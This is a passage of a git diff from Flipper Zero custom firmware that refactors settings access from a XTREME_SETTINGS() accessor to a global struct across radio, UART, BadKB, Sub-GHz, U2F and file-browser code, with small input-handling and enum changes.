a/applications/external/nrf24batch/lib/nrf24/nrf24.h +++ b/applications/external/nrf24batch/lib/nrf24/nrf24.h @@ -56,7 +56,7 @@ extern "C" { #define nrf24_TIMEOUT 500 #define nrf24_CE_PIN &gpio_ext_pb2 #define nrf24_HANDLE \ - (XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault ? &furi_hal_spi_bus_handle_external : \ + (xtreme_settings.spi_nrf24_handle == SpiDefault ? &furi_hal_spi_bus_handle_external : \ &furi_hal_spi_bus_handle_external_extra) /* Low level API */ diff --git a/applications/external/nrf24channelscanner/lib/nrf24/nrf24.c b/applications/external/nrf24channelscanner/lib/nrf24/nrf24.c index 2307d6daf..d9f53658b 100644 --- a/applications/external/nrf24channelscanner/lib/nrf24/nrf24.c +++ b/applications/external/nrf24channelscanner/lib/nrf24/nrf24.c @@ -7,10 +7,10 @@ void nrf24_init() { // this is needed if multiple SPI devices are connected to the same bus but with different CS pins - if(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault) { + if(xtreme_settings.spi_nrf24_handle == SpiDefault) { furi_hal_gpio_init_simple(&gpio_ext_pc3, GpioModeOutputPushPull); furi_hal_gpio_write(&gpio_ext_pc3, true); - } else if(XTREME_SETTINGS()->spi_nrf24_handle == SpiExtra) { + } else if(xtreme_settings.spi_nrf24_handle == SpiExtra) { furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeOutputPushPull); furi_hal_gpio_write(&gpio_ext_pa4, true); } @@ -28,9 +28,9 @@ void nrf24_deinit() { furi_hal_gpio_init(nrf24_CE_PIN, GpioModeAnalog, GpioPullNo, GpioSpeedLow); // resetting the CS pins to floating - if(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault) { + if(xtreme_settings.spi_nrf24_handle == SpiDefault) { furi_hal_gpio_init_simple(&gpio_ext_pc3, GpioModeAnalog); - } else if(XTREME_SETTINGS()->spi_nrf24_handle == SpiExtra) { + } else if(xtreme_settings.spi_nrf24_handle == SpiExtra) { furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeAnalog); } } diff --git a/applications/external/nrf24channelscanner/lib/nrf24/nrf24.h b/applications/external/nrf24channelscanner/lib/nrf24/nrf24.h index fdbdb0e3f..ca80816af 100644 --- a/applications/external/nrf24channelscanner/lib/nrf24/nrf24.h +++ b/applications/external/nrf24channelscanner/lib/nrf24/nrf24.h @@ -43,7 +43,7 @@ extern "C" { #define nrf24_TIMEOUT 500 #define nrf24_CE_PIN &gpio_ext_pb2 #define nrf24_HANDLE \ - (XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault ? &furi_hal_spi_bus_handle_external : \ + (xtreme_settings.spi_nrf24_handle == SpiDefault ? &furi_hal_spi_bus_handle_external : \ &furi_hal_spi_bus_handle_external_extra) /* Low level API */ diff --git a/applications/external/nrf24channelscanner/nrf24channelscanner.c b/applications/external/nrf24channelscanner/nrf24channelscanner.c index d7363a024..5f7f7e42f 100644 --- a/applications/external/nrf24channelscanner/nrf24channelscanner.c +++ b/applications/external/nrf24channelscanner/nrf24channelscanner.c @@ -194,7 +194,8 @@ int32_t nrf24channelscanner_main(void* p) { if(event.type == EventTypeKey) { szuz = false; //hit any button, so hide welcome screen - if(event.input.type == InputTypeLong && event.input.key == InputKeyBack) { + if((event.input.type == InputTypeShort || event.input.type == InputTypeLong) && + event.input.key == InputKeyBack) { if(isScanning) { stopNrfScan = true; //if running, stop it. notification_message(notification, &sequence_blink_yellow_100); diff --git a/applications/external/nrf24mousejacker/lib/nrf24/nrf24.c b/applications/external/nrf24mousejacker/lib/nrf24/nrf24.c index d85196e86..fe62d5db3 100644 --- a/applications/external/nrf24mousejacker/lib/nrf24/nrf24.c +++ b/applications/external/nrf24mousejacker/lib/nrf24/nrf24.c @@ -7,10 +7,10 @@ void nrf24_init() { // this is needed if multiple SPI devices are connected to the same bus but with different CS pins - if(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault) { + if(xtreme_settings.spi_nrf24_handle == SpiDefault) { furi_hal_gpio_init_simple(&gpio_ext_pc3, GpioModeOutputPushPull); furi_hal_gpio_write(&gpio_ext_pc3, true); - } else if(XTREME_SETTINGS()->spi_nrf24_handle == SpiExtra) { + } else if(xtreme_settings.spi_nrf24_handle == SpiExtra) { furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeOutputPushPull); furi_hal_gpio_write(&gpio_ext_pa4, true); } @@ -28,9 +28,9 @@ void nrf24_deinit() { furi_hal_gpio_init(nrf24_CE_PIN, GpioModeAnalog, GpioPullNo, GpioSpeedLow); // resetting the CS pins to floating - if(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault) { + if(xtreme_settings.spi_nrf24_handle == SpiDefault) { furi_hal_gpio_init_simple(&gpio_ext_pc3, GpioModeAnalog); - } else if(XTREME_SETTINGS()->spi_nrf24_handle == SpiExtra) { + } else if(xtreme_settings.spi_nrf24_handle == SpiExtra) { furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeAnalog); } } @@ -543,4 +543,4 @@ bool nrf24_check_connected(FuriHalSpiBusHandle* handle) { } else { return false; } -} \ No newline at end of file +} diff --git a/applications/external/nrf24mousejacker/lib/nrf24/nrf24.h b/applications/external/nrf24mousejacker/lib/nrf24/nrf24.h index 58dbad0c8..de9212af2 100644 --- a/applications/external/nrf24mousejacker/lib/nrf24/nrf24.h +++ b/applications/external/nrf24mousejacker/lib/nrf24/nrf24.h @@ -42,7 +42,7 @@ extern "C" { #define nrf24_TIMEOUT 500 #define nrf24_CE_PIN &gpio_ext_pb2 #define nrf24_HANDLE \ - (XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault ? &furi_hal_spi_bus_handle_external : \ + (xtreme_settings.spi_nrf24_handle == SpiDefault ? &furi_hal_spi_bus_handle_external : \ &furi_hal_spi_bus_handle_external_extra) /* Low level API */ diff --git a/applications/external/nrf24scan/lib/nrf24/nrf24.c b/applications/external/nrf24scan/lib/nrf24/nrf24.c index acd0130c7..8ee8e7828 100644 --- a/applications/external/nrf24scan/lib/nrf24/nrf24.c +++ b/applications/external/nrf24scan/lib/nrf24/nrf24.c @@ -9,10 +9,10 @@ void nrf24_init() { // this is needed if multiple SPI devices are connected to the same bus but with different CS pins - if(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault) { + if(xtreme_settings.spi_nrf24_handle == SpiDefault) { furi_hal_gpio_init_simple(&gpio_ext_pc3, GpioModeOutputPushPull); furi_hal_gpio_write(&gpio_ext_pc3, true); - } else if(XTREME_SETTINGS()->spi_nrf24_handle == SpiExtra) { + } else if(xtreme_settings.spi_nrf24_handle == SpiExtra) { furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeOutputPushPull); furi_hal_gpio_write(&gpio_ext_pa4, true); } @@ -30,9 +30,9 @@ void nrf24_deinit() { furi_hal_gpio_init(nrf24_CE_PIN, GpioModeAnalog, GpioPullNo, GpioSpeedLow); // resetting the CS pins to floating - if(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault) { + if(xtreme_settings.spi_nrf24_handle == SpiDefault) { furi_hal_gpio_init_simple(&gpio_ext_pc3, GpioModeAnalog); - } else if(XTREME_SETTINGS()->spi_nrf24_handle == SpiExtra) { + } else if(xtreme_settings.spi_nrf24_handle == SpiExtra) { furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeAnalog); } } diff --git a/applications/external/nrf24scan/lib/nrf24/nrf24.h b/applications/external/nrf24scan/lib/nrf24/nrf24.h index d5fdced3b..5016a89ad 100644 --- a/applications/external/nrf24scan/lib/nrf24/nrf24.h +++ b/applications/external/nrf24scan/lib/nrf24/nrf24.h @@ -54,7 +54,7 @@ extern "C" { #define nrf24_TIMEOUT 500 #define nrf24_CE_PIN &gpio_ext_pb2 #define nrf24_HANDLE \ - (XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault ? &furi_hal_spi_bus_handle_external : \ + (xtreme_settings.spi_nrf24_handle == SpiDefault ? &furi_hal_spi_bus_handle_external : \ &furi_hal_spi_bus_handle_external_extra) /* Low level API */ diff --git a/applications/external/nrf24sniff/lib/nrf24/nrf24.c b/applications/external/nrf24sniff/lib/nrf24/nrf24.c index 8b39cf5eb..fe62d5db3 100644 --- a/applications/external/nrf24sniff/lib/nrf24/nrf24.c +++ b/applications/external/nrf24sniff/lib/nrf24/nrf24.c @@ -7,10 +7,10 @@ void nrf24_init() { // this is needed if multiple SPI devices are connected to the same bus but with different CS pins - if(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault) { + if(xtreme_settings.spi_nrf24_handle == SpiDefault) { furi_hal_gpio_init_simple(&gpio_ext_pc3, GpioModeOutputPushPull); furi_hal_gpio_write(&gpio_ext_pc3, true); - } else if(XTREME_SETTINGS()->spi_nrf24_handle == SpiExtra) { + } else if(xtreme_settings.spi_nrf24_handle == SpiExtra) { furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeOutputPushPull); furi_hal_gpio_write(&gpio_ext_pa4, true); } @@ -28,9 +28,9 @@ void nrf24_deinit() { furi_hal_gpio_init(nrf24_CE_PIN, GpioModeAnalog, GpioPullNo, GpioSpeedLow); // resetting the CS pins to floating - if(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault) { + if(xtreme_settings.spi_nrf24_handle == SpiDefault) { furi_hal_gpio_init_simple(&gpio_ext_pc3, GpioModeAnalog); - } else if(XTREME_SETTINGS()->spi_nrf24_handle == SpiExtra) { + } else if(xtreme_settings.spi_nrf24_handle == SpiExtra) { furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeAnalog); } } diff --git a/applications/external/nrf24sniff/lib/nrf24/nrf24.h b/applications/external/nrf24sniff/lib/nrf24/nrf24.h index 58dbad0c8..de9212af2 100644 --- a/applications/external/nrf24sniff/lib/nrf24/nrf24.h +++ b/applications/external/nrf24sniff/lib/nrf24/nrf24.h @@ -42,7 +42,7 @@ extern "C" { #define nrf24_TIMEOUT 500 #define nrf24_CE_PIN &gpio_ext_pb2 #define nrf24_HANDLE \ - (XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault ? &furi_hal_spi_bus_handle_external : \ + (xtreme_settings.spi_nrf24_handle == SpiDefault ? &furi_hal_spi_bus_handle_external : \ &furi_hal_spi_bus_handle_external_extra) /* Low level API */ diff --git a/applications/external/nrf24sniff/nrfsniff.c b/applications/external/nrf24sniff/nrfsniff.c index fc0e2ac90..fca394180 100644 --- a/applications/external/nrf24sniff/nrfsniff.c +++ b/applications/external/nrf24sniff/nrfsniff.c @@ -409,7 +409,7 @@ int32_t nrfsniff_app(void* p) { break; case InputKeyBack: - if(event.input.type == InputTypeLong) processing = false; + processing = false; break; default: break; diff --git a/applications/external/uart_terminal/uart_terminal_app_i.h b/applications/external/uart_terminal/uart_terminal_app_i.h index 5d2e3078c..ee831de21 100644 --- a/applications/external/uart_terminal/uart_terminal_app_i.h +++ b/applications/external/uart_terminal/uart_terminal_app_i.h @@ -18,9 +18,9 @@ #define UART_TERMINAL_TEXT_BOX_STORE_SIZE (4096) #define UART_TERMINAL_TEXT_INPUT_STORE_SIZE (512) -#define UART_CH \ - (XTREME_SETTINGS()->uart_general_channel == UARTDefault ? FuriHalUartIdUSART1 : \ - FuriHalUartIdLPUART1) +#define UART_CH \ + (xtreme_settings.uart_general_channel == UARTDefault ? FuriHalUartIdUSART1 : \ + FuriHalUartIdLPUART1) struct UART_TerminalApp { Gui* gui; diff --git a/applications/external/wifi_deauther/wifi_deauther_app_i.h b/applications/external/wifi_deauther/wifi_deauther_app_i.h index a26950d98..91d837d0c 100644 --- a/applications/external/wifi_deauther/wifi_deauther_app_i.h +++ b/applications/external/wifi_deauther/wifi_deauther_app_i.h @@ -14,9 +14,8 @@ #include -#define UART_CH \ - (XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : \ - FuriHalUartIdLPUART1) +#define UART_CH \ + (xtreme_settings.uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : FuriHalUartIdLPUART1) #define NUM_MENU_ITEMS (11) diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_app_i.h b/applications/external/wifi_marauder_companion/wifi_marauder_app_i.h index 13e76c0c2..6c846023f 100644 --- a/applications/external/wifi_marauder_companion/wifi_marauder_app_i.h +++ b/applications/external/wifi_marauder_companion/wifi_marauder_app_i.h @@ -28,9 +28,8 @@ #include #include -#define XTREME_UART_CH \ - (XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : \ - FuriHalUartIdLPUART1) +#define XTREME_UART_CH \ + (xtreme_settings.uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : FuriHalUartIdLPUART1) #define US_ART_CH (FuriHalUartIdUSART1) #define LP_UART_CH (FuriHalUartIdLPUART1) diff --git a/applications/external/wifi_scanner/FlipperZeroWiFiModuleDefines.h b/applications/external/wifi_scanner/FlipperZeroWiFiModuleDefines.h index 8ec46ce79..f05c9bb9d 100644 --- a/applications/external/wifi_scanner/FlipperZeroWiFiModuleDefines.h +++ b/applications/external/wifi_scanner/FlipperZeroWiFiModuleDefines.h @@ -18,6 +18,5 @@ #include -#define UART_CH \ - (XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : \ - FuriHalUartIdLPUART1) +#define UART_CH \ + (xtreme_settings.uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : FuriHalUartIdLPUART1) diff --git a/applications/main/archive/helpers/archive_browser.c b/applications/main/archive/helpers/archive_browser.c index d0111b363..c6efc5558 100644 --- a/applications/main/archive/helpers/archive_browser.c +++ b/applications/main/archive/helpers/archive_browser.c @@ -547,7 +547,7 @@ void archive_switch_tab(ArchiveBrowserView* browser, InputKey key) { } else { tab = (tab + 1) % ArchiveTabTotal; } - if(tab == ArchiveTabInternal && !XTREME_SETTINGS()->show_internal_tab) continue; + if(tab == ArchiveTabInternal && !xtreme_settings.show_internal_tab) continue; break; } @@ -579,10 +579,9 @@ void archive_switch_tab(ArchiveBrowserView* browser, InputKey key) { bool is_browser = !strcmp(archive_get_tab_ext(tab), "*"); bool skip_assets = !is_browser; // Hide dot files everywhere except Browser if in debug mode - bool hide_dot_files = !is_browser ? true : - tab == ArchiveTabInternal ? - false : - !XTREME_SETTINGS()->show_hidden_files; + bool hide_dot_files = !is_browser ? true : + tab == ArchiveTabInternal ? false : + !xtreme_settings.show_hidden_files; archive_file_browser_set_path( browser, browser->path, archive_get_tab_ext(tab), skip_assets, hide_dot_files); tab_empty = false; // Empty check will be performed later diff --git a/applications/main/archive/helpers/archive_files.h b/applications/main/archive/helpers/archive_files.h index 84a35ec30..702cb1c6b 100644 --- a/applications/main/archive/helpers/archive_files.h +++ b/applications/main/archive/helpers/archive_files.h @@ -84,7 +84,7 @@ static void ArchiveFile_t_clear(ArchiveFile_t* obj) { } static int ArchiveFile_t_cmp(const ArchiveFile_t* a, const ArchiveFile_t* b) { - if(XTREME_SETTINGS()->sort_dirs_first) { + if(xtreme_settings.sort_dirs_first) { if(a->type == ArchiveFileTypeFolder && b->type != ArchiveFileTypeFolder) { return -1; } diff --git a/applications/main/archive/helpers/favorite_timeout.c b/applications/main/archive/helpers/favorite_timeout.c index f38fb53c3..f0b02a1c4 100644 --- a/applications/main/archive/helpers/favorite_timeout.c +++ b/applications/main/archive/helpers/favorite_timeout.c @@ -17,7 +17,7 @@ void favorite_timeout_callback(void* _ctx) { } void favorite_timeout_run(ViewDispatcher* view_dispatcher, SceneManager* scene_manager) { - uint32_t timeout = XTREME_SETTINGS()->favorite_timeout; + uint32_t timeout = xtreme_settings.favorite_timeout; if(timeout == 0) { view_dispatcher_run(view_dispatcher); return; diff --git a/applications/main/bad_kb/bad_kb_app.c b/applications/main/bad_kb/bad_kb_app.c index e62ad4d3a..1c3156bcd 100644 --- a/applications/main/bad_kb/bad_kb_app.c +++ b/applications/main/bad_kb/bad_kb_app.c @@ -146,8 +146,8 @@ BadKbApp* bad_kb_app_alloc(char* arg) { Bt* bt = furi_record_open(RECORD_BT); app->bt = bt; app->bt->suppress_pin_screen = true; - app->is_bt = XTREME_SETTINGS()->bad_bt; - app->bt_remember = XTREME_SETTINGS()->bad_bt_remember; + app->is_bt = xtreme_settings.bad_bt; + app->bt_remember = xtreme_settings.bad_bt_remember; bad_kb_config_adjust(&app->config); // Save prev config diff --git a/applications/main/bad_kb/helpers/ducky_script.c b/applications/main/bad_kb/helpers/ducky_script.c index 0a02e162d..d55bacbc6 100644 --- a/applications/main/bad_kb/helpers/ducky_script.c +++ b/applications/main/bad_kb/helpers/ducky_script.c @@ -687,11 +687,10 @@ void bad_kb_config_refresh(BadKbApp* app) { scene_manager_previous_scene(app->scene_manager); // Update settings - XtremeSettings* xtreme_settings = XTREME_SETTINGS(); - if(xtreme_settings->bad_bt != app->is_bt || - xtreme_settings->bad_bt_remember != app->bt_remember) { - xtreme_settings->bad_bt = app->is_bt; - xtreme_settings->bad_bt_remember = app->bt_remember; + if(xtreme_settings.bad_bt != app->is_bt || + xtreme_settings.bad_bt_remember != app->bt_remember) { + xtreme_settings.bad_bt = app->is_bt; + xtreme_settings.bad_bt_remember = app->bt_remember; XTREME_SETTINGS_SAVE(); } } diff --git a/applications/main/bad_kb/views/bad_kb_view.c b/applications/main/bad_kb/views/bad_kb_view.c index 8bb4054a2..5ea6a1bf6 100644 --- a/applications/main/bad_kb/views/bad_kb_view.c +++ b/applications/main/bad_kb/views/bad_kb_view.c @@ -50,7 +50,7 @@ static void bad_kb_draw_callback(Canvas* canvas, void* _model) { if((state == BadKbStateIdle) || (state == BadKbStateDone) || (state == BadKbStateNotConnected)) { - if(XTREME_SETTINGS()->is_nsfw) { + if(xtreme_settings.is_nsfw) { elements_button_center(canvas, "Cum"); } else { elements_button_center(canvas, "Run"); @@ -73,7 +73,7 @@ static void bad_kb_draw_callback(Canvas* canvas, void* _model) { if(state == BadKbStateNotConnected) { canvas_draw_icon(canvas, 4, 26, &I_Clock_18x18); canvas_set_font(canvas, FontPrimary); - if(XTREME_SETTINGS()->is_nsfw) { + if(xtreme_settings.is_nsfw) { canvas_draw_str_aligned(canvas, 127, 31, AlignRight, AlignBottom, "Plug me"); canvas_draw_str_aligned(canvas, 127, 43, AlignRight, AlignBottom, "in, Daddy"); } else { @@ -83,7 +83,7 @@ static void bad_kb_draw_callback(Canvas* canvas, void* _model) { } else if(state == BadKbStateWillRun) { canvas_draw_icon(canvas, 4, 26, &I_Clock_18x18); canvas_set_font(canvas, FontPrimary); - if(XTREME_SETTINGS()->is_nsfw) { + if(xtreme_settings.is_nsfw) { canvas_draw_str_aligned(canvas, 127, 31, AlignRight, AlignBottom, "Will cum"); } else { canvas_draw_str_aligned(canvas, 127, 31, AlignRight, AlignBottom, "Will run"); diff --git a/applications/main/subghz/helpers/subghz_gps.h b/applications/main/subghz/helpers/subghz_gps.h index 6408a040d..bb42895a6 100644 --- a/applications/main/subghz/helpers/subghz_gps.h +++ b/applications/main/subghz/helpers/subghz_gps.h @@ -2,9 +2,8 @@ #include #include "minmea.h" -#define UART_CH \ - (XTREME_SETTINGS()->uart_nmea_channel == UARTDefault ? FuriHalUartIdUSART1 : \ - FuriHalUartIdLPUART1) +#define UART_CH \ + (xtreme_settings.uart_nmea_channel == UARTDefault ? FuriHalUartIdUSART1 : FuriHalUartIdLPUART1) #define RX_BUF_SIZE 1024 @@ -97,4 +96,4 @@ double subghz_gps_calc_distance(double lat1d, double lon1d, double lat2d, double * @param lon2 Longitude 2 * @return double Angle in degree */ -double subghz_gps_calc_angle(double lat1, double lon1, double lat2, double lon2); \ No newline at end of file +double subghz_gps_calc_angle(double lat1, double lon1, double lat2, double lon2); diff --git a/applications/main/subghz/scenes/subghz_scene_receiver_config.c b/applications/main/subghz/scenes/subghz_scene_receiver_config.c index 4b88ffe5f..2d7f5014d 100644 --- a/applications/main/subghz/scenes/subghz_scene_receiver_config.c +++ b/applications/main/subghz/scenes/subghz_scene_receiver_config.c @@ -5,19 +5,21 @@ enum SubGhzSettingIndex { SubGhzSettingIndexFrequency, - SubGhzSettingIndexHopping, SubGhzSettingIndexModulation, + SubGhzSettingIndexHopping, + SubGhzSettingIndexRAWSound = SubGhzSettingIndexHopping, SubGhzSettingIndexBinRAW, + SubGhzSettingIndexRAWRSSIThreshold = SubGhzSettingIndexBinRAW, SubGhzSettingIndexIgnoreStarline, SubGhzSettingIndexIgnoreCars, SubGhzSettingIndexIgnoreMagellan, + SubGhzSettingIndexIgnorePrinceton, + SubGhzSettingIndexIgnoreNiceFlorS, SubGhzSettingIndexIgnoreWeather, SubGhzSettingIndexIgnoreTPMS, - SubGhzSettingIndexIgnorePrinceton, SubGhzSettingIndexSound, SubGhzSettingIndexResetToDefault, SubGhzSettingIndexLock, - SubGhzSettingIndexRAWThresholdRSSI, }; #define RAW_THRESHOLD_RSSI_COUNT 11 @@ -467,7 +469,7 @@ void subghz_scene_receiver_config_on_enter(void* context) { item = variable_item_list_add( subghz->variable_item_list, - "Ignore NiceFlorS / Nice One", + "Ignore Nice Flor-S / Nice One", COMBO_BOX_COUNT, subghz_scene_receiver_config_set_niceflors, subghz); diff --git a/applications/main/subghz/scenes/subghz_scene_transmitter.c b/applications/main/subghz/scenes/subghz_scene_transmitter.c index 14ddb7fc2..8e8c096e0 100644 --- a/applications/main/subghz/scenes/subghz_scene_transmitter.c +++ b/applications/main/subghz/scenes/subghz_scene_transmitter.c @@ -81,7 +81,7 @@ void subghz_scene_transmitter_on_enter(void* context) { subghz->fav_timer = furi_timer_alloc(fav_timer_callback, FuriTimerTypeOnce, subghz); furi_timer_start( subghz->fav_timer, - XTREME_SETTINGS()->favorite_timeout * furi_kernel_get_tick_frequency()); + xtreme_settings.favorite_timeout * furi_kernel_get_tick_frequency()); // subghz->state_notifications = SubGhzNotificationStateTx; } } diff --git a/applications/main/subghz/subghz.c b/applications/main/subghz/subghz.c index 744ffc756..ab78c9c7c 100644 --- a/applications/main/subghz/subghz.c +++ b/applications/main/subghz/subghz.c @@ -373,7 +373,7 @@ int32_t subghz_app(char* p) { } // Check argument and run corresponding scene - bool is_favorite = process_favorite_launch(&p) && XTREME_SETTINGS()->favorite_timeout; + bool is_favorite = process_favorite_launch(&p) && xtreme_settings.favorite_timeout; if(p && strlen(p)) { uint32_t rpc_ctx = 0; diff --git a/applications/main/u2f/views/u2f_view.c b/applications/main/u2f/views/u2f_view.c index e80c0cbae..646278e06 100644 --- a/applications/main/u2f/views/u2f_view.c +++ b/applications/main/u2f/views/u2f_view.c @@ -21,7 +21,7 @@ static void u2f_view_draw_callback(Canvas* canvas, void* _model) { if(model->display_msg == U2fMsgNotConnected) { canvas_draw_icon(canvas, 22, 15, &I_Connect_me_62x31); - if(XTREME_SETTINGS()->is_nsfw) { + if(xtreme_settings.is_nsfw) { canvas_draw_str_aligned( canvas, 128 / 2, 3, AlignCenter, AlignTop, "Plug me in d-daddy"); } else { @@ -32,7 +32,7 @@ static void u2f_view_draw_callback(Canvas* canvas, void* _model) { canvas_draw_icon(canvas, 22, 15, &I_Connected_62x31); canvas_draw_str_aligned(canvas, 128 / 2, 3, AlignCenter, AlignTop, "Connected!"); } else if(model->display_msg == U2fMsgRegister) { - if(XTREME_SETTINGS()->is_nsfw) { + if(xtreme_settings.is_nsfw) { elements_button_center(canvas, "CUM"); canvas_draw_icon(canvas, 22, 15, &I_Auth_62x31); canvas_draw_str_aligned( @@ -44,7 +44,7 @@ static void u2f_view_draw_callback(Canvas* canvas, void* _model) { canvas, 128 / 2, 3, AlignCenter, AlignTop, "Press OK to register"); } } else if(model->display_msg == U2fMsgAuth) { - if(XTREME_SETTINGS()->is_nsfw) { + if(xtreme_settings.is_nsfw) { elements_button_center(canvas, "CUM"); canvas_draw_icon(canvas, 22, 15, &I_Auth_62x31); canvas_draw_str_aligned( @@ -57,7 +57,7 @@ static void u2f_view_draw_callback(Canvas* canvas, void* _model) { } } else if(model->display_msg == U2fMsgSuccess) { canvas_draw_icon(canvas, 22, 15, &I_Connected_62x31); - if(XTREME_SETTINGS()->is_nsfw) { + if(xtreme_settings.is_nsfw) { canvas_draw_str_aligned(canvas, 128 / 2, 3, AlignCenter, AlignTop, "Cum released~"); } else { canvas_draw_str_aligned( @@ -65,7 +65,7 @@ static void u2f_view_draw_callback(Canvas* canvas, void* _model) { } } else if(model->display_msg == U2fMsgError) { canvas_draw_icon(canvas, 22, 15, &I_Error_62x31); - if(XTREME_SETTINGS()->is_nsfw) { + if(xtreme_settings.is_nsfw) { canvas_draw_str_aligned(canvas, 128 / 2, 3, AlignCenter, AlignTop, "Unable to cum"); } else { canvas_draw_str_aligned( diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_filebrowser.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_filebrowser.c index 93093a54f..99e2a19a5 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_filebrowser.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_filebrowser.c @@ -16,7 +16,7 @@ static void xtreme_app_scene_interface_filebrowser_sort_dirs_first_changed(Varia XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->sort_dirs_first = value; + xtreme_settings.sort_dirs_first = value; app->save_settings = true; } @@ -24,7 +24,7 @@ static void xtreme_app_scene_interface_filebrowser_show_hidden_files_changed(Var XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->show_hidden_files = value; + xtreme_settings.show_hidden_files = value; app->save_settings = true; } @@ -32,7 +32,7 @@ static void xtreme_app_scene_interface_filebrowser_show_internal_tab_changed(Var XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->show_internal_tab = value; + xtreme_settings.show_internal_tab = value; app->save_settings = true; } @@ -42,13 +42,12 @@ static void xtreme_app_scene_interface_filebrowser_favorite_timeout_changed(Vari char text[6]; snprintf(text, sizeof(text), "%lu S", value); variable_item_set_current_value_text(item, value ? text : "OFF"); - XTREME_SETTINGS()->favorite_timeout = value; + xtreme_settings.favorite_timeout = value; app->save_settings = true; } void xtreme_app_scene_interface_filebrowser_on_enter(void* context) { XtremeApp* app = context; - XtremeSettings* xtreme_settings = XTREME_SETTINGS(); VariableItemList* var_item_list = app->var_item_list; VariableItem* item; @@ -58,8 +57,8 @@ void xtreme_app_scene_interface_filebrowser_on_enter(void* context) { 2, xtreme_app_scene_interface_filebrowser_sort_dirs_first_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->sort_dirs_first); - variable_item_set_current_value_text(item, xtreme_settings->sort_dirs_first ? "ON" : "OFF"); + variable_item_set_current_value_index(item, xtreme_settings.sort_dirs_first); + variable_item_set_current_value_text(item, xtreme_settings.sort_dirs_first ? "ON" : "OFF"); item = variable_item_list_add( var_item_list, @@ -67,8 +66,8 @@ void xtreme_app_scene_interface_filebrowser_on_enter(void* context) { 2, xtreme_app_scene_interface_filebrowser_show_hidden_files_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->show_hidden_files); - variable_item_set_current_value_text(item, xtreme_settings->show_hidden_files ? "ON" : "OFF"); + variable_item_set_current_value_index(item, xtreme_settings.show_hidden_files); + variable_item_set_current_value_text(item, xtreme_settings.show_hidden_files ? "ON" : "OFF"); item = variable_item_list_add( var_item_list, @@ -76,8 +75,8 @@ void xtreme_app_scene_interface_filebrowser_on_enter(void* context) { 2, xtreme_app_scene_interface_filebrowser_show_internal_tab_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->show_internal_tab); - variable_item_set_current_value_text(item, xtreme_settings->show_internal_tab ? "ON" : "OFF"); + variable_item_set_current_value_index(item, xtreme_settings.show_internal_tab); + variable_item_set_current_value_text(item, xtreme_settings.show_internal_tab ? "ON" : "OFF"); item = variable_item_list_add( var_item_list, @@ -85,10 +84,10 @@ void xtreme_app_scene_interface_filebrowser_on_enter(void* context) { 61, xtreme_app_scene_interface_filebrowser_favorite_timeout_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->favorite_timeout); + variable_item_set_current_value_index(item, xtreme_settings.favorite_timeout); char text[4]; - snprintf(text, sizeof(text), "%lu S", xtreme_settings->favorite_timeout); - variable_item_set_current_value_text(item, xtreme_settings->favorite_timeout ? text : "OFF"); + snprintf(text, sizeof(text), "%lu S", xtreme_settings.favorite_timeout); + variable_item_set_current_value_text(item, xtreme_settings.favorite_timeout ? text : "OFF"); variable_item_list_set_enter_callback( var_item_list, xtreme_app_scene_interface_filebrowser_var_item_list_callback, app); diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_graphics.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_graphics.c index c03b2abb3..0420af5f5 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_graphics.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_graphics.c @@ -19,7 +19,7 @@ static void xtreme_app_scene_interface_graphics_asset_pack_changed(VariableItem* variable_item_set_current_value_text( item, index == 0 ? "Default" : *CharList_get(app->asset_pack_names, index - 1)); strlcpy( - XTREME_SETTINGS()->asset_pack, + xtreme_settings.asset_pack, index == 0 ? "" : *CharList_get(app->asset_pack_names, index - 1), XTREME_ASSETS_PACK_NAME_LEN); app->asset_pack_index = index; @@ -59,7 +59,7 @@ static void xtreme_app_scene_interface_graphics_anim_speed_changed(VariableItem* XtremeApp* app = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, 